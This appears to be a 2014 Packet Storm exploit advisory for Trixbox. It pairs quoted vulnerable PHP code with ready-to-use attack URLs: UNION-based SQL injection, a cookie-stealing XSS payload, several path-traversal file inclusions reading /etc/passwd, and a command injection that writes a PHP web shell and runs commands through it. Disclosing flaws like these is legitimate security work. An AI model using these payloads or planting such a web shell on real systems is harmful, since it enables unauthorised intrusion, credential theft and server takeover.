Exploit the possiblities

Trixbox XSS / LFI / SQL Injection / Code Execution

Trixbox XSS / LFI / SQL Injection / Code Execution
Posted Jul 17, 2014
Authored by AtT4CKxT3rR0r1ST

Trixbox suffers from cross site scripting, local file inclusion, SQL injection, and remote code execution vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, xss, sql injection, file inclusion
MD5 | bc1ecf881c8629182265e2b58914d0e1

Trixbox XSS / LFI / SQL Injection / Code Execution

Change Mirror Download
Trixbox All Version - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home : http://www.iphobos.com/blog/
.:. Script : http://www.trixbox.com/
####################################################################

[1] Sql Injection
===================
VULNERABILITY
##############
[I] /var/www/html/maint/modules/endpointcfg/endpoint_generic.php

Line 79-99:
case 'Submit':
$message = "";
$phone_vars['mac_address'] = cleanMAC($phone_vars['mac_address']);
if(!preg_match('/^[0-9A-F]{12}$/i', $phone_vars['mac_address']))
{$message = "MAC is invalid";}
if ($phone_vars['freepbx_device']!="NONE") { //get list of devices
from FreePBX
$phone_vars = PopulateFromFreepbx($phone_vars);
}
else
{
$phone_vars['phone_label'] =
$MACTABLE[substr($phone_vars['mac_address'],0,6)]['vendor'];

}

if ($_REQUEST['mac']){ // if there is an ID then edit an existing
phone
$querytxt = "UPDATE Generic SET ";
foreach ($phone_vars as $key => $value) {
$querytxt .= $key. " = '" .trim($value). "',";
}
$querytxt .= "EditDate = NOW() WHERE mac_address='" .
$_REQUEST['mac']."'";
$error = getSQL($querytxt,'endpoints');
}

#########
EXPLOIT
#########

Http://IP/maint/modules/endpointcfg/endpoint_generic.php?action=Submit&mac=1'
and 1=2 union select 1,2,3,4,5,6-- -

[2] Cross Site Scripting
===========================
VULNERABILITY
##############
[I] /var/www/html/user/help/html/index.php

Line 44:
$smarty->assign("id_nodo", $_GET['id_nodo']);

#########
EXPLOIT
#########

Http://IP/user/help/html/index.php?id_nodo="
onmouseover%3dprompt(document.cookie) bad%3d"


[3] Multiple Local File Include
=================================
VULNERABILITY
##############
[I] /var/www/html/maint/modules/home/index.php

Line 68-72:

$tbLang = $_GET['lang'];
$languageFile = 'language/'.$tbLang.'.php';
if(file_exists($languageFile)){
include($languageFile);
}

#########
EXPLOIT
#########

Http://IP/maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00

VULNERABILITY
##############
[II] /var/www/html/maint/modules/asterisk_info/asterisk_info.php

Line 17-25:

if(!empty($_GET['lang']) && isset($_GET['lang'])){
$tbLang = $_GET['lang'];
}else{
$tbLang = 'english';
}
$languageFile = 'language/'.$tbLang.'.php';
if(file_exists($languageFile)){
include($languageFile);
}

#########
EXPLOIT
#########
Http://IP/maint/modules/asterisk_info/asterisk_info.php?lang=../../../../../../../../etc/passwd%00

VULNERABILITY
##############
[III] /var/www/html/maint/modules/repo/repo.php

Line 9-13:

$tbLang = $_GET['lang'];
$languageFile = 'language/'.$tbLang.'.php';
if(file_exists($languageFile)){
include($languageFile);
}

#########
EXPLOIT
#########
Http://IP/maint/modules/repo/repo.php?lang=../../../../../../../../etc/passwd%00

VULNERABILITY
##############
[V] /var/www/html/maint/modules/endpointcfg/endpointcfg.php

Line 29-33:

if(!empty($_GET['lang']) && isset($_GET['lang'])){
$languageFile = includeLanguage($_GET['lang']);
include($languageFile);
$tbLang = $_GET['lang'];
}else{

#########
EXPLOIT
#########
Http://IP/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00

[4] Remote Code Execution
===========================
VULNERABILITY
##############
[I] /var/www/html/maint/modules/home/index.php

Line 339:

$phpOutput = shell_exec('php -q libs/status.php '.$tbLang);//exec('perl
libs/status.pl');

Line 68:

$tbLang = $_GET['lang'];

#########
EXPLOIT
#########

Http://IP/maint/modules/home/index.php?lang=MF;echo "<?php
system(\$_GET['cmd']);?> \$Greats 2 MY=\"Love:D">shell.php

Your Shell

Http://IP/maint/modules/home/shell.php?cmd=id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk) $Greats 2
MY="Love:D
####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close